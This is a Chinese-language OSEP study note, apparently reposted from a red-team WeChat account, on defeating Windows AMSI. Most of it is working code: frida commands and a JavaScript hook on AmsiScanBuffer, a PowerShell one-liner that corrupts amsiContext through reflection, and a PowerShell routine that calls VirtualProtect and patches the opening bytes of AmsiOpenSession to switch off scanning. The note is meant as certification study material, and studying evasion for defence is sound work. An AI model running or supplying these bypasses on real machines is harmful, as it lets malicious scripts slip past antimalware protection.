关于笔记形式和学习方法请看OSEP学习之路 | 开篇
本篇是第三部分“免杀高级”技术,主要包括AMSI、uacbypass、applocker以及powershell的CLM模式,笔记基本是按照教材梳理的,章节不是一一对应,因为有些内容合并后更好理解
1-AMSI bypass
1.1和1.2主要介绍windbg的使用和AMSI routine,是原理性的内容,不过多说明,我们主要集中在什么操作
1.3-攻击AMSI初始化
1.3.1-安装frida
pip install frida-tools
pip install frida
1.3.2-查看powershell的processid
PS C:Usersdarwinyu> Get-Process -name powershell
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
687 43 59428 73656 5.36 10684 1 powershell
1.3.3-使用frida进行Hook操作
frida-trace -p 10684 -x amsi.dll -i Amsi*
1.3.4-修改JS配置文件
/*
* Auto-generated by Frida. Please modify to match the signature of AmsiScanBuffer.
* This stub is currently auto-generated from manpages when available.
*
* For full API reference, see: https://frida.re/docs/javascript-api/
*/
{
/**
* Called synchronously when about to call AmsiScanBuffer.
*
* @this {object} - Object allowing you to store state for use in onLeave.
* @param {function} log - Call this function with a string to be presented to the user.
* @param {array} args - Function arguments represented as an array of NativePointer objects.
* For example use args[0].readUtf8String() if the first argument is a pointer to a C string encoded as UTF-8.
* It is also possible to modify arguments by assigning a NativePointer object to an element of this array.
* @param {object} state - Object allowing you to keep state across function calls.
* Only one JavaScript function will execute at a time, so do not worry about race-conditions.
* However, do not use this to store function arguments across onEnter/onLeave, but instead
* use "this" which is an object for keeping state local to an invocation.
*/
onEnter(log, args, state) {
log('[*] AmsiScanBuffer()');
log(' | - amsiContext: ' + args[0]);
log(' | - buffer: ' + Memory.readUtf16String(args[1]));
log(' | - length: ' + args[2]);
log(' | - contentName: ' + args[3]);
log(' | - amsiSession: ' + args[4]);
log(' | - result: ' + args[5] + 'n');
this.resultPointer = args[5];
},
/**
* Called synchronously when about to return from AmsiScanBuffer.
*
* See onEnter for details.
*
* @this {object} - Object allowing you to access state stored in onEnter.
* @param {function} log - Call this function with a string to be presented to the user.
* @param {NativePointer} retval - Return value represented as a NativePointer object.
* @param {object} state - Object allowing you to keep state across function calls.
*/
onLeave(log, retval, state) {
log('[*] AmsiScanBuffer() Exit');
resultPointer = this.resultPointer;
log('| - Result value is :' + Memory.readUShort(resultPointer) + "n");
}
}
1.3.5-尝试修改
['System.Management.Automation.AmsiUtils') ].Assembly.GetType(
$a=[Ref].Assembly.GetTypes()
// Try to find type: AmsiUtils
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$c.GetFields('NonPublic,Static')
$d = $c.GetFields('NonPublic,Static')
// Try to find class ending with Context, say amsiContext
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
$f.GetValue($null)
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
1.3.6-合并成一句话
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf =@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
后面直接用这一句话版本即可
1.4-修改AMSI
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)
坚持自律做最好的自己
原文始发于微信公众号(高级红队专家):OSEP | 免杀高级-上
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论